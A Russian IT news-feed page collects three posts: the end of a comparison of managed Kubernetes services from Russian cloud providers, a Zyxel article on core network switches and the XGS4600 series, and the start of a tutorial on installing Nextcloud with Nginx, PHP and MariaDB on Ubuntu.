Отмечу, что прямо-таки агрессивных продаж не наблюдалось. Понятно, что я не самая крупная рыбка, которая водится в облачном море. Но всё же. Порадовало, что мне не впаривают, а предлагают. Убеждают. Правда, почти все компании сочли своим долгом сделать меня подписчиком полезных корпоративных рассылок. Но к этому я был готов.

Чуть забегая вперёд скажу, что поскольку компаний стало меньше, а я вошёл во вкус, то в процессе тестирования сервисов Kubernetes вспомнил и про Яндекс. А не позвонить ли мне им?, подумалось мне. Как оказалось, не зря у этих ребят оказалось не самое плохое решение из тех, что мне удалось посмотреть.

Тестирование

Теперь давайте посмотрим, чего я натестировал.

Компания

Selectel

Mail.ru Cloud

МТС Cloud

Yandex.Cloud

Cloud4Y

Платформа, на которой построено решение

OpenStack + KVM

OpenStack + KVM

Стек технологий виртуализации VMware vSphere и NSX-T

Собственная разработка

Предоставляется на базе Container Service Extension (CSE) в VMware Cloud Director

В большинстве своём решение строится на OpenStack + KVM. Это часто используемая связка. OpenStack это тот же Kubernetes, но захватывающий уровень виртуальных машин. Он бесплатен, у него большая комьюнити, и есть ответы на многие вопросы. Но иногда поиск этих ответов занимает много времени, а в случае работы с виртуальной инфраструктурой время часто бывает критически малым ресурсом. Кроме того, специалистов, умеющих работать с OpenStack, на рынке не так много.

Также провайдеры используют стек технологий виртуализации VMwarevSphereиNSX-T. NSX-T предназначен для гибридных окружений, как в смысле поддержки разных гипервизоров (ESXi и KVM), так и в плане поддержки облачных инфраструктур (например, AWS). VMware платный, но зато предлагает гарантированную поддержку от вендора с ответами на сложные вопросы и кейсы. И специалистов по VMware найти проще.

У Яндекса собственная разработка. Я даже накопал классную информацию об этом. Подход имеет место быть. Насколько удобно решение для пользователей должны сказать сами пользователи. Явных косяков я не заметил. Неявных найти не удалось из-за недостаточной экспертизы в этом вопросе. Если хотите, пните меня в комментариях.

Все решения дают обширный функционал в реализации облаков. Я не могу сказать, что какое-то из них лучше или хуже. Разве что самопис может насторожить. То есть выбор платформы дело вкуса.

Облачные балансировщики нагрузки

Компания

Selectel

Mail.ru Cloud

МТС Cloud

Yandex.Cloud

Cloud4Y

Балансировщик

Создаётся вместе с кластером

Создаётся автоматически с кластером

По умолчанию открыты только 80 и 443 порты. Балансировщик добавляется автоматически при создании кластера

Создаётся дополнительный балансер

Создаётся дополнительный балансер

Если говорить про балансировщик, распределяющий нагрузку, то в Selectel он создаётся вместе с кластером. Автоматическое создание балансировщика вместе с кластером предлагает Mail.ru, у него возможно автоматическое и быстрое масштабирование до 1000 узлов. А вот МТС удивил. Да, балансировщик создаётся автоматически при создании кластера. Но умолчанию открыты только 80 и 443 порты. Дополнительные порты можно открывать только через поддержку. Яндекс и Cloud4Y тоже предлагают создание дополнительного балансировщика. На этот случай есть специально написанные инструкции, ссылку на которые они мне заботливо прислали.

Управление

Если говорить про управление нашими драгоценными контейнерами и кластерами, то стоит сказать, что компании используют проверенные типовые решения:

Компания

Selectel

Mail.ru Cloud

МТС Cloud

Yandex.Cloud

Cloud4Y

Управление

Web/API

Web/API

API

Web/Console Yandex.Cloud

Web/API

Mail.ru предлагает варианты управления кластером как через Kubernetes Dashboard, так и через kubectl. Web/API возможны в Cloud4Y и Selectel. У МТС только API. К тому же, управление docker-контейнерами из интерфейса не предусмотрено. В интерфейсе происходит управление кластерами Kubernetes. Яндекс пошёл своим путём. У них предлагается Web и Console Yandex.Cloud. Мне показалось не очень удобным и логичным, когда для работы требуется специальная яндексовая консоль. Может, есть и какой-то другой способ, только я его не нашёл.

Хранилища данных

Компания

Selectel

Mail.ru Cloud

МТС Cloud

Yandex.Cloud

Cloud4Y

Persistent Volumes

Поддерживает блочные и сетевые устройства NFS

Блочное устройство накладывает на ограничения по readwritemany

Persistent Volumes идёт через блочное устройство что накладывает на ограничения по readwritemany а можно только одной ноде писать на него

Блочные устройства могут работать только в ReadWriteOnce

Поддерживает блочные и сетевые устройства NFS

Persistent Volumes можно считать аналогом нод в самом кластере Kubernetes. Зачем вообще нужна эта штука? Допустим, у вас есть несколько разных хранилищ. К примеру, одно быстрое на SSD, а другое медленное на HDD. Вы можете создать два Persistent Volumes в соответствии с этим, а затем выделять подам место в этих томах. Kubernetes поддерживает огромное количество подключаемых томов с помощью плагинов.

Вот тут у провайдеров используются разные решения. Cloud4Y и Selectel поддерживают как блочные, так и сетевые устройства NFS. И это хорошо. У Mail.ru блочное устройство накладывается на ограничения по ReadWriteMany(RWX). В документации указано, что механизм Persistent Volume позволяет подключить существующий Cinder Volume, находящийся на кластере Ceph в качестве постоянного хранилища данных к подам. Хранилище на базе Ceph обеспечивает сохранность данных за счёт трёхкратной репликации. У МТС Cloud Persistent Volumes тоже идёт через блочное устройство, что накладывается на ограничения по ReadWriteMany. Можно только одной ноде писать на него. В Yandex.Cloud блочные устройства могут работать только в ReadWriteOnce(RWO).

Контроллеры Ingress

Компания

Selectel

Mail.ru Cloud

МТС Cloud

Yandex.Cloud

Cloud4Y

Ingress

Добавлять нужно самостоятельно

Можно выбрать при установке кластера

Можно добавить убрать при создании кластера

Ingress на базе LoadBalancer

В случае необходимости разворачивается вручную по инструкции

У Selectel в версии Managed Kubernetes Ingress Controller не предустанавливаются в кластеры. Для создания объектов Ingress потребуется самостоятельно установить Ingress Controller. Обратите внимание, что при создании Ingress Controller у вас, вероятнее всего, будет создан Service с типом LoadBalancer помимо самого приложения Ingress Controller. В таком случае в вашем проекте будет автоматически создан дополнительный балансировщик нагрузки, который отобразится в разделе Балансировщики нагрузки.

Mail.ru позволяет выбрать Ingress при создании кластера. Кластеры Kubernetes, устанавливаемые в MCS содержат преднастроенный Ingress Controller на базе балансировщика нагрузки Nginx, который может обеспечить доступ к вашим сервисам, используя один и тот же выделенный балансировщик нагрузки OpenStack. МТС позволяет добавить/убрать Ingress при создании кластера. В документации МТС сразу говорится, что NGINXIngress разворачивается в стандартной настройке при запуске кластера при выборе соответствующего параметра. У Яндекса Ingress построен на базе LoadBalancer. Cloud4Y предлагает разворачивать Ingress в ручном режиме при необходимости.

Масштабирование

Компания

Selectel

Mail.ru Cloud

МТС Cloud

Yandex.Cloud

Cloud4Y

Масштабирование

Нет

Есть autoscaling, по определенным параметрам загрузки нод, добавляет и убавляется автоматически

Нет

Есть autoscaling, по определенным параметрам загрузки нод, добавляет и убавляется автоматически

AutoScaling на уровне pod определяется на основании конфигурации k8s. Autoscaling на уровне воркеров\нод реализован через vCloud или вручную прописываемые скрипты

У Селектела и МТС нет автоматического масштабирования. Работайте ручками, господа! Надо уточнить, что в МТС автоскейлинг будет добавлен в этом (2021)году. Яндекс и Майл предлагают более удобные условия. У них есть autoscaling по определенным параметрам загрузки нод, добавляется и убавляется автоматически. Cloud4Y предлагает автоскейлинг на уровне pod который определяется на основании конфигурации k8s. Autoscaling на уровне воркеров\нод на лету отсутствует, но можно зайти в vCloud и докинуть ноду или написать скрипты, которые делают то же самое, только запрограммированно

Автоскейлинг удобен, потому что он выполняет мониторинг приложений и автоматически настраивает ресурсы для поддержания стабильной прогнозируемой производительности при минимально возможных затратах. То есть приложения получают нужный объём ресурсов в нужное время. Это важный параметр. И отсутствие автоскейлинга несколько напрягает.

Мониторинг

Компания

Selectel

Mail.ru Cloud

МТС Cloud

Yandex.Cloud

Cloud4Y

Мониторинг

Добавлять нужно самостоятельно

При создании кластера можно добавить Prometheus, Grafana

По стандарту ничего нет, нужно добавлять самостоятельно

Автоматически ничего нет, самому нужно все ставить

Добавлять нужно самостоятельно

Мониторинг это неотъемлемая часть любой инфраструктуры. Правильно настроенный мониторинг четко отражает здоровье ИТ-системы и про активно диагностирует её состояние. В данном случае все используют стандартное решение для VMware в виде плагина. У него есть свои ограничения, 1 мастер нода и 5 воркеров.

Cloud4Y по запросу прислал инструкции, как сделать 3 мастер ноды и добавить балансировщик. Ссылками и вложенными файлами с руководством поделились и другие провайдеры. Правда, Selectel и МТС очень долго раскачивались. Видимо, искали, где у них это всё написано.

Мне показалось довольно удобным решение, когда плагин позволяет быстро и легко развернуть среду и начать работать с ней в минимальном, но достаточном для старта объёме. Новичкам в самый раз. Компании, которые уже давно используют функционал, способны развернуть среду самостоятельно, без плагина и пользуясь только IaaS-инфраструктурой.

Персональные данные

Компания

Selectel

Mail.ru Cloud

МТС Cloud

Yandex.Cloud

Cloud4Y

ПоддержкаФЗ-152

Для самой Облачной платформы проведена оценка, для УЗ 3-4. Для остальных сервисов на её базе, в том числе Kubernetes такая оценка возможна позднее

Полное соответствие в ФЗ 152 О защите персональных данных, сервера находятся на территории России;

Поддержки 152-фз нет. Kubernetes планируется развернуть в защищенном сегменте в 2021 году.

Не получил внятного ответа

В ФЗ облаке оно присутствует и полностью соответствует ФЗ.

ФЗ-152 сейчас в тренде, и провайдеры активно развивают это направление. Selectel, Mail.ru Cloud, Cloud4Y обещают, что их решения соответствуют требованиям закона о персональных данных. С Yandex.Cloud я не понял, есть ли такая штука. Похоже, что нет, ведь иначе об этом где-нибудь, да говорилось бы. МТС Cloud пока лишь дорабатывает свою систему.

Так или иначе, работать с персональными данными в кластерах Kubernetes можно у большинства облачных провайдеров.

Оплата

Компания

Selectel

Mail.ru Cloud

МТС Cloud

Yandex.Cloud

Cloud4Y

Какой биллинг

Биллинг почасовой

Pay-as-you-Go почасовой биллинг

Биллинг помесячный

Есть разные варианты, включая помесячный биллинг

Биллинг помесячный

Тут, наверное, и говорить нечего. Особых нововведений в плане оплаты нет.

Отличия от конкурентов

Компания

Selectel

Mail.ru Cloud

МТС Cloud

Yandex.Cloud

Cloud4Y

Отличия решения от конкурентов

Адаптировали Kubernetes в Облачной платформе, чтобы пользователи могли получить стандартный Kubernetes с поддержкой от Selectel.

Тройная репликация и отказоустойчивость (все копии хранятся в трёх томах на разных серверах); пропускная способность (канал трафика 1ГБ/сек); мощный процессор Intel Xeon E5-2660v4.

Принципиально отличается более отказоустойчивой системой виртуализации VMware

Просто хороший сервис.

Квалифицированная поддержка по данному продукту, а также необходимая инфа в КБ.

Самый интересный пункт, на который я рассчитывал. Но увы. Все провайдеры говорили примерно одно и то же. Каких-то особых плюшек не придумано. Это не в укор провайдерам. Это скорее вопрос к их рекламщикам почему решения так сильно похожи друг на друга?

Mail.ru делает упор на тройную репликацию данных и отказоустойчивость, Selectel на привычный типовой формат работы с Kubernetes, Cloud4Y обещает мощную техническую поддержку и развитую документацию в базе знаний. МТС подчёркивает преимущества VMware в плане отказоустойчивости, а Яндекс порадовал формулировкой. Их сервис хороший, и это его ключевое отличие от остальных.

Выводы

Возможно, вы ждёте, что я сейчас скажу, что какой-то сервис хороший, а остальные плохие. А вот и нет! Чисто субъективно мне понравились две компании, но у вас могут быть совершенно другое мнение. Поэтому рекомендовать никого не буду. На вкус и цвет все фломастеры разные.

Отмечу, что техническая поддержка у некоторых компаний оставляет желать лучшего. Чтобы завести кластер или решить проблему, приходилось долго общаться с инженерами. А менеджеры радостно шлют ссылки на видео, где рассказывается совсем не про то, что мне нужно. Возможно, это из-за того, что я был на тестовом периоде, и денег с меня получить было нельзя.

Также есть сложности с тем, чтобы вообще разобраться с платформой. Видно, что предложение ещё не у всех допилено. В одном случае я не смог создать кластер, пока напрямую не пообщаться с инженером провайдера. Хотя у другого всё сделал сам и почти без проблем. В целом, все предложения рабочие, но провайдерам надо развиваться, чтобы их решения могли использовать даже люди с минимальными знаниями в этой сфере.

Надеюсь, что всё вышенаписанное хоть как-то поможет вам, если вдруг понадобится Кубернетис. Хотя здесь всё очень быстро меняется.

Подробнее..

Коммутаторы ядра сети что это такое, для чего нужны и как выглядят

25.05.2021 12:05:50 | Автор: admin


О периферийных устройствах написано достаточно много. Это и понятно, потому что большое число задач требует разнообразный парк оборудования: точки доступа, коммутаторы уровня доступа, межсетевые экраны и так далее.


В случае с корпоративной ИТ инфраструктурой все эти компоненты работают на нижних этажах, обеспечивая доступ пользователей и конечных устройств к сети.


А вот про уровень ядра сети сказано довольно мало. Причина вполне понятна больших организаций меньше, чем маленьких, поэтому крупных корпоративных сетей также меньше. Попытаемся восполнить этот пробел. Для начала расскажем об общих чертах и потом перейдём к конкретным моделям (описанию и вариантам использования). Помимо общих принципов, разберём конкретные модели по винтикам, (в том числе и буквально отверткой), чтобы посмотреть, что и как устроено.


Попробуем расколоть этот орешек знаний, чтобы добраться до ядра.


Вступление


Как мы уже писали ранее в статье Коммутаторы L2, L2+ и L3 что, когда, куда, откуда, как, зачем и почему? корпоративную сеть можно условно разделить на три уровня:


  • Уровень доступа предназначен для подключения клиентских устройств.
  • Уровень агрегации/распределения, который, как следует из названия, является промежуточным и служит для предварительного управление трафиком.
  • Уровень ядра сети.


Рисунок 1. Уровни корпоративной сети


Коммутаторы ядра находятся в самом центре корпоративной сети и обеспечивают общую коммутацию (а если необходимо, то и маршрутизацию), связывающие все остальные сегменты.


Разумеется, нельзя каждый уровень рассматривать отдельно от предыдущего.


Общее увеличение трафика на уровне доступа ведёт к дополнительной нагрузке на коммутаторы уровня распределения, что в итоге влияет на загрузку ядра. Разумеется, возможны ситуации, когда всплеск трафика локализован в рамках одного сегмента (в переделах одного коммутатора уровня агрегации или даже уровня доступа). Но если имеется общая тенденция к росту трафика и передаваемых объёмов, это всё равно приводит к повышению нагрузки на ядро сети.


Поэтому важно учитывать не только сиюминутные потребности, но и что ждёт в будущем.


Особенности нагрузки в ядре сильно отличаются от нагрузки на уровне доступа. Если коммутатор уровня доступа привязан к работе пользователей (которых может попросту не быть в офисе), то на коммутаторе ядра будет присутствовать трафик обмена данными между серверами, СХД, облачными системами для резервного копирования и т.д. Поэтому коммутаторы ядра необязательно самые быстрые, но уж точно самые надёжные, рассчитанные на долговременную загрузку


Важный нюанс уровень ядра наиболее критичен к простоям при выполнении технических работ. Выключение и замена одного коммутаторов уровня ядра приводит к бездействию большого числа участников сетевого обмена. Поэтому желание сократить число и продолжительность таких остановок вполне объяснимо. Для этого необходимо: во-первых, выбрать оптимальную архитектуру будущей сети, во-вторых, подобрать наиболее подходящие коммутаторы ядра.


Примечание. Учитывая массовый характер закупок, особенно при развёртывании сети с нуля, ошибка при выборе коммутаторов уровня распределения/агрегации и даже уровня доступа тоже может обернуться значительными финансовыми потерями. И хотя масштабы катастрофы принято оценивать по количеству простаивающих узлов за выбранный промежуток времени, к выбору оборудования для младших уровней следует подходить не менее ответственно.

Особенности коммутаторов ядра


Как уже было сказано выше, в ИТ инфраструктуре корпоративной сети коммутаторы уровня ядра являются центральным звеном, который объединяет другие сегменты (обычно уровня агрегации/распределения, реже уровня доступа). Через ядро проходит большая часть от всего трафика между клиентами, серверами, Интернет и так далее.


Поэтому главное умение ядра сети не падать при максимальной загрузке. Этот уровень всегда состоит из высокоскоростных коммутаторов и маршрутизаторов, производительных и отказоустойчивых. Немаловажную роль играет железо, в том числе характеристики коммутирующей матрицы, производительность процессора или контроллер.


Примечание. Универсалы vs узких профи Существует мнение, что для высокоскоростной передачи трафика, коммутаторы ядра не должны выполнять какие-либо манипуляции с пакетами, такие как маршрутизация между VLAN, ACL (Access Control List) и так далее в такой архитектуре все эти функции возложены на коммутаторы уровня агрегации/доступа. Однако построить идеальную инфраструктуру и уложиться в выделенный бюджет удаётся далеко не всегда. Часто на используется некий смешанный вариант, при котором уровень ядра и уровень агрегации/доступа является неким общим уровнем ядра+распределения. Разумеется, с точки зрения классической архитектуры это выглядит как вопиющее отступление от правил, зато с финансовой стороны вполне разумно.

А теперь кратко, просто и понятными словами


Проще говоря, коммутаторы уровня ядра это очень надёжные производительные коммутаторы L3 или L2+, которые могут выполнять те или иные задачи, но главное устойчивая передача трафика. Ниже мы подробно остановимся на некоторых нюансах.


Производительность


Как уже было сказано выше, скорость пересылки пакетов и ёмкость коммутации важные характеристики для коммутатора ядра в корпоративных сетях. Ядро должно обеспечивать требуемую скорость и пропускную способность.


Хорошая новость трафик не берётся из ниоткуда. То есть, зная кого, чего и сколько вы собираетесь подключить к сети и какой толщины будут внешние каналы, можно спрогнозировать верхнюю и нижнюю цифры по загрузке ядра сети. А дальше уже дело за выбором оборудования.


Разумеется, корпоративная жизнь порой подбрасывает сюрпризы вроде рождения новых бизнес-подразделений с нуля или построения новых сегментов вроде приватных облаков. Поэтому резервировать от 20 до 35% запаса производительности на вырост и такой же резерв по количеству портов для ядра сети это совсем неплохая идея. Как было сказано выше, обосновать остановку или временное замедление в работе практический всей корпоративной сети, чтобы заменить коммутатор в ядре та ещё задачка.


Надёжность оборудования


При проектировании ядра уделяют больше внимания избыточности по сравнению с другими уровнями. Вроде всё понятно: зачем и почему, но давайте посмотрим более детально.


Как было сказано выше, нагрузка на коммутаторы уровня ядра имеет другой характер, нежели уровня доступа. Соответственно, температурное воздействие тоже выше, и самое главное держится на одной отметке. И это должно учитываться при проектировании системы охлаждения.


Ещё один важный нюанс электропитание. Наличие двух источников питания не роскошь, а необходимость. Разумеется, можно использовать дополнительные хитрые внешние модули АВР (Автоматический Ввод Резерва) или SmartPDU, которые позволяют переключить подачу энергии на резервную линию, даже если на самом устройстве один блок питания. Но что будет с ядром сети, если единственный блок питания внутри коммутатора выйдет из строя? Нужно ли это проверять?


При наличии второго блока питания, когда один из них выходит из строя, другой немедленно берёт на себя все функции по обеспечению энергоснабжения. То есть стандартная схема: Active-Passive вполне пригодится.


Многое зависит от производителя блока питания и элементной базы. Если внутри всё сделано непонятно из чего и непонятно как наверное, вообще не стоит устанавливать подобное оборудование, а уж в ядро сети тем более.


Устойчивость к атакам и пиковым нагрузкам


Поскольку коммутаторы ядра являются центром сети, они должны уметь не только быстро перебрасывать Ethernet кадры, но и обладать расширенной защитой от DDoS с использованием протоколов уровня 2 и 3. И дело тут не только в злобных хакерах. Криво работающее сетевое приложение может навести шороху не меньше, нежели тёмные рыцари клавиатуры.


Кроме защиты от атак, сама по себе возможность работы при пиковых нагрузках является важной характеристикой. Обычно советуют избегать таких конфигураций, как дотошные списки доступа и фильтрация пакетов, особенно на фоне деградации производительности. Но в любом случае запас по мощности не повредит.


Стек и масштабирование. Агрегирование каналов.


Разумеется, ситуация, когда из-за проблемы с центральным коммутатором не работает крупный сегмент, а то и вся корпоративная сеть мало кого устраивает. Чтобы избежать ситуаций, когда одно-единственное устройство объединяет большое число подключений и в случае выхода из строя ничто не может взять на себя его функции используют резервирование и объединяют сетевое оборудование в стек.


Стек это соединение нескольких физических коммутаторов в один супер-коммутатор, когда при выходе одного из физических устройств отказоустойчивая схема продолжает работать.


Однако на одной только отказоустойчивости свет клином не сошёлся. Рано или поздно сеть разрастётся и возникнет дефицит вычислительных ресурсов и свободных портов. Даже если вначале были закуплены коммутаторы с хорошим запасом по портам и мощности, всё равно рано или поздно придётся проводить модернизацию. Стек коммутаторов даёт нам возможность добавить в ядро новые устройства, не снимая с эксплуатации старые.


Например, серия XGS4600 поддерживает стек до 4 коммутаторов, а XGS3700 до 8. Проще говоря, если у вас в ядре присутствует, допустим два коммутатора XGS4600-52F, вы можете удвоить их количество, доведя их число до 4, не прерывая работу сети.


Также полезным выглядит использование отказоустойчивых протоколов, например, VRRP для построения отказоустойчивой схемы маршрутизации.


Крайне важно, чтобы остальные участники сетевого обмена не теряли связь с ядром. Для этого используется агрегирование каналов, когда несколько физических портов на коммутаторе уровня агрегации/распределения объединяются в общий UPLink и подключаются к двум портам на коммутаторах уровня ядра. Таким образом при обрыве подключения на одном из портов, связь всё равно не теряется.


QoS


Quality of Service (QoS) является важной функцией, позволяющей обеспечить стабильное прохождение определённых типов трафика. Например, на современных предприятиях требуется видеоконференцсвязь. Такой трафик требует непрерывной передачи голоса и видеоданных, в отличие, например, от просмотра текстовых страниц в формате html. Ещё один пример резервное копирование, когда данные идут плотным потоком и необходимо успеть всё передать за короткое окно бэкапа. В таких случаях выручает использование системы приоритетов и ограничение полосы пропускания. То есть QoS.


Благодаря QoS коммутаторы ядра получают возможность предоставлять разную полосу пропускания различным приложениям в соответствии с характеристиками. По сравнению с трафиком, который не так требователен к полосе пропускания и задержкам во времени (например, электронная почта), критический трафик получит более высокий приоритет, и будет передаваться с высокой скоростью и гарантированно низкой потерей пакетов.


Управление


Для описания основных принципов работы с коммутаторы ядра сети очень даже подходит известная пословица: Работает? Не трогай!.


Но бывают ситуации, когда трогать нужно, например, при модернизации всей сети, подключения дополнительных сегментов и так далее.


И, разумеется, необходимо вовремя получать данные о работе сетевого оборудования.


Поэтому коммутаторы ядра сети поддерживают различные методы контроля и управления, начиная от SNMP и заканчивая подключением консоли.


Также полезно иметь выделенный порт управления (не объединяемый с передачей данных), который можно подключить в отдельный VLAN или даже коммутатор. Помимо повышения уровня безопасности, это позволяет упорядочить архитектуру сети и сохранить возможность управления даже при резком возрастании трафика через ядро.


Ниже идут описания и ТТХ конкретных моделей от Zyxel. Если не любите, когда производитель в своём же блоге описывает спецификации и возможности своих же устройств и считаете это сплошной рекламой можно сразу перейти в следующий раздел: Подведение итогов и рекомендации.

Рассмотрим на конкретных моделях


В качестве примера мы выбрали линейку коммутаторов, предназначенных для уровней ядра и агрегации/распределении. Откуда такое двойное назначение? Всё зависит от целей и задач, в первую очередь от архитектуры корпоративной сети. Бывают ситуации, когда на коммутаторы уровня агрегации/распределения ложится нагрузка, сопоставимая с уровнем ядра сети. Например, если активно используется маршрутизация между VLAN, списки доступа (ACL), фильтрация трафика и так далее.


Запас мощности и широкий набор возможностей в любом случае не помешает.


О каких моделях речь?


На сегодняшний день линейка XGS4600 насчитывает 3 коммутатора: XGS4600-32, XGS4600-32F, XGS4600-52F. Основное различие между ними в количестве и конструкции портов. Ниже приводится таблица, в которой указаны основные различия и общие моменты.


Характеристика XGS460032 XGS460032F XGS460052F
Общее число портов 32 32 52
Gigabit SFP - 24 48
100/1000 Mbps 24 - -
Gigabit combo (SFP/RJ45) 4 4 -
10-Gigabit SFP+ 4 4 4
Производительность коммутации (Gbps) 136 136 176
Скорость пересылки пакетов (Mpps) 101.1 101.1 130.9
Буфер пакетов (байт) 4 Мбайт 4 Мбайт 4 Мбайт
Таблица MAC-адресов 32 Кбайт 32 Кбайт 32 Кбайт
Таблица пересылки L3 Макс. 8 тыс. записей IPv4; Макс. 4 тыс. записей IPv6 Макс. 8 тыс. записей IPv4; Макс. 4 тыс. записей IPv6 Макс. 8 тыс. записей IPv4; Макс. 4 тыс. записей IPv6
Таблица маршрутизации 12 тыс. 12 тыс. 12 тыс.
Число IP интерфейсов 256 256 256
Flash/RAM 64 Мб / 1 Гб 64 Мб / 1 Гб 64 Мб / 1 Гб

Ниже мы кратко опишем, почему эти коммутаторы пригодны для использования в качестве ядра сети.


Стек и High Availability


С помощью одного или двух слотов 10-Gigabit SFP+ можно объединить в физический стек до 4 коммутаторов. Также поддерживается динамическая маршрутизация для упрощения обмена данными между подсетями. Эта функция очень удобна для больших отелей, университетов и других компаний, где используется сложная сетевая инфраструктура. Для коммутаторов серии XGS4600 можно приобрести дополнительную лицензию с поддержкой протоколов OSPFv3 и RIPng для динамической маршрутизации IPv6.


XGS4600 Series оборудован гигабитными портами и четырьмя интегрированными слотами 10-Gigabit SFP+.


Другие меры обеспечения надёжности


Помимо объединения в стек, коммутаторы серии хранят два файла конфигурации и два образа микропрограммы. Это своего рода защита от случайных сбоев. Представьте, что закачанный файл микропрограммы оказался повреждён при передаче по сети. Наличие второго файла позволяет решить эту проблему без лишней крови, просто перезагрузив устройство с рабочей прошивкой.


Примерно такой же алгоритм восстановления, если изменения конфигурации оказались несовместимы с жизнью. Просто подгружаем другой файл и дело в шляпе.


Схема питания два независимых блока


XGS4600 Series поддерживает резервирование питания по схеме Active-Standby. В случае выхода из строя основного источника питания коммутатор будет работать от резервного источника питания.


Сами блоки питания от известного производителя DELTA Electronics.


А что с железом?


  • Центральным узлом является процессор (CPU) 1GHz ARM cortex-A9.
  • Switch controller BCM56340.
  • RAM 1GB.
  • Flash 64MB.

Разумеется, лучше один раз увидеть, чем сто раз услышать (а ещё лучше пощупать своими руками). И мы прямо в офисе вскрыли две модели чтобы посмотреть, что внутри.


Ниже прилагаем несколько фотоснимков, сделанных прямо в офисе Zyxel Россия.


Интересная информация. Zyxelне пытается поймать своих клиентов на мелочах. Хитрые пломбы, болтики из мягкой стали (у которых шлицы повреждаются даже при самом аккуратном откручивании), голографические наклейки и прочие уловки с целью лишить потребителя гарантийного обслуживания это всё не нужно.


Рисунок 2. Коммутаторы серии XGS4600, вид спереди: вверху XGS4600-32F, снизу XGS4600-32



Рисунок 3. Коммутаторы серии XGS4600, вид сзади: вверху XGS4600-32F, снизу XGS4600-32.


Во всех моделях, предназначенных для ядра два блока питания.



Рисунок 4. Внутреннее устройство коммутатора XGS4600-32.


Правильная компоновка и аккуратный монтаж плат и разъёмов очень важны. У производителя не должно возникать желания впихать невпихуемое в небольшой корпус.


Присутствуют мощные радиаторы и блок из трёх вентиляторов. Для коммутаторов ядра сети важно иметь хорошее охлаждение.



Рисунок 5. Коммутатор XGS4600-32 блоки питания.



Рисунок 6. Коммутатор XGS4600-32. Фрагмент материнской платы с микросхемами памяти.



Рисунок 7. Крупным планом.



Рисунок 8. Внутреннее устройство коммутатора XGS4600-32F.



Рисунок 9. Блок питания коммутатора XGS4600-32F.



Рисунок 10. В правой части расположены UPLINK, порт MGMT для управления коммутатором и консольный порт.


Обратите внимание на выделенный порт управления (OOB) на панели он показан как MGMT. В отличие от консольного RS-232 (который тоже в наличии) данный порт предназначен для удалённого управления устройством по сети.


Также присутствует индикатор номера коммутатора в стеке Stack ID.


Различные функции


Как уже было сказано выше, несмотря на то, что основная задача ядра стабильная работа под нагрузкой, время от времени возникает необходимость управлять трафиком, и это требует определённых инструментов.


Например, поддержка VLAN, а также QoS и списки доступа довольно полезные функции.


Полный список функций можно посмотреть здесь.


Подведение итогов и рекомендации


Невозможно объять необъятное, поэтому наш рассказ про коммутаторы ядра подходит к концу.


Существует множество факторов, которые определяют, какие коммутаторы ядра наиболее подходят для ядра сети в каждом конкретном случае. Однако существуют некоторые общие рекомендации, которые желательно соблюдать, чтобы избежать длительных простоев сетевой инфраструктуры.


Помимо голой теории мы показали, как эти особенности выглядят на примере конкретной реализации. Описанные принципы подходят при оценке любых других коммутаторов уровня ядра сети. Надеемся, это поможет при разработке новых проектов и модернизации уже существующих.


Полезные ссылки


  1. Telegram chat Zyxel
  2. Форум по оборудованию Zyxel
  3. Много полезного видео на канале Youtube
  4. Коммутаторы L2, L2+ и L3 что, когда, куда, откуда, как, зачем и почему?
  5. Коммутаторы Zyxel L3 серии XGS4600
  6. Построение сетевой инфраструктуры на базе Nebula. Часть 1 задачи и решения
  7. Построение сетевой инфраструктуры на базе Nebula. Часть 2 пример сети
  8. Особенности применения управляемых и неуправляемых коммутаторов
  9. Как SFP, SFP+ и XFP делают нашу жизнь проще
Подробнее..

Быстрый запуск Nextcloud и Onlyoffice на Ubuntu SSL от Letsencrypt

20.06.2021 18:15:44 | Автор: admin

Мало того, что многие не доверяют общедоступным облакам, так они еще и предлагают непозволительно малые объемы дискового пространства.

Однажды мне понадобилось 1Tb облачного хранилища и выбор пал на Nextcloud, который и было решено развернуть на собственном домашнем сервере

В данной статье я опишу как быстро и безболезненно установить и настроить облако Nextcloud и облачный редактор Onlyoffice

Статья предполагает, что у вас уже установлен и настроен Ubuntu.

Все действия были проверены на Ubuntu Server 20.04

Что будем делать:
1. Установим Nginx, PHP и MariaDB
2. Добавим бесплатный SSL-сертификат Let's Encrypt
3. Развернем NextCloud
4. Произведем тонкие настройки сервера
5. Установим Onlyoffice

Бесплатные доменные имена в домене .tk можно получить на www.freenom.com

Первым делом, устанавливаем вспомогательные утилиты

sudo apt-get install nano mc zip -y

Этот пункт можно пропустить, если настраиваете облако на локальный диск, а не на отдельную машину с доступом по nfs, мне понадобилось сделать это именно на nfs

# Ставим nfs-clientsudo apt install nfs-common -y# -------------------# Монтируем папку nfs# Ставим nginxsudo mkdir -p /nfs/ncsudo mount your_host_ip:/папка_шары_nfs/ /nfs/ncsudo ls -l /nfs/nc/sudo df -hsudo du -sh /nfs/nc/# -------------------# Монтируем nfs при загрузкеsudo nano /etc/fstab# Добавим такую строку в конец файлаyour_host_ip:/папка_шары_nfs/  /nfs/nc  nfs auto,nofail,noatime,nolock,intr,tcp,actimeo=1800 0 0

Ставим nginx

sudo apt install nginx -ysudo nginx -Vsudo systemctl enable nginxsudo systemctl start nginx

Ставим php 7.4

sudo apt install php7.4-fpm php7.4-mysql php7.4 php7.4-curl php7.4-gd php7.4-json php7.4-mbstring php7.4-common php7.4-xml php7.4-zip php7.4-opcache php-apcu php-imagick -y

Настраиваем php 7.4

sudo nano /etc/php/7.4/fpm/pool.d/www.conf

снимаем комментарии со строк

env[HOSTNAME] = $HOSTNAME
env[PATH] = /usr/local/bin:/usr/bin:/bin
env[TMP] = /tmp
env[TMPDIR] = /tmp
env[TEMP] = /tmp

# Настраиваем php.ini:

sudo nano /etc/php/7.4/fpm/php.ini

opcache.enable=1
opcache.enable_cli=1
opcache.interned_strings_buffer=8
opcache.max_accelerated_files=10000
opcache.memory_consumption=128
opcache.save_comments=1
opcache.revalidate_freq=1

Разрешаем автозапуск php-fpm и перезапускаем его:

sudo systemctl enable php7.4-fpmsudo systemctl restart php7.4-fpm

Устанавливаем MariaDB:

sudo apt install mariadb-serversudo systemctl enable mariadbsudo systemctl start mariadb

Запуск сценария безопасности (здесь можно поменять пароль рута, убрать ненужные разрешения):

sudo mysql_secure_installation

Создаем базу данных для Nextcloud (в примере указан пароль nextcloud, его лучше заменить на свой) :

sudo mysql -u root -p

Вводим пароль рута для MariaDB

 >CREATE DATABASE nextcloud;CREATE USER 'nextcloud'@'localhost' IDENTIFIED BY 'nextcloud';GRANT ALL ON nextcloud.* TO 'nextcloud'@'localhost' IDENTIFIED BY 'nextcloud' WITH GRANT OPTION;FLUSH PRIVILEGES;EXIT;

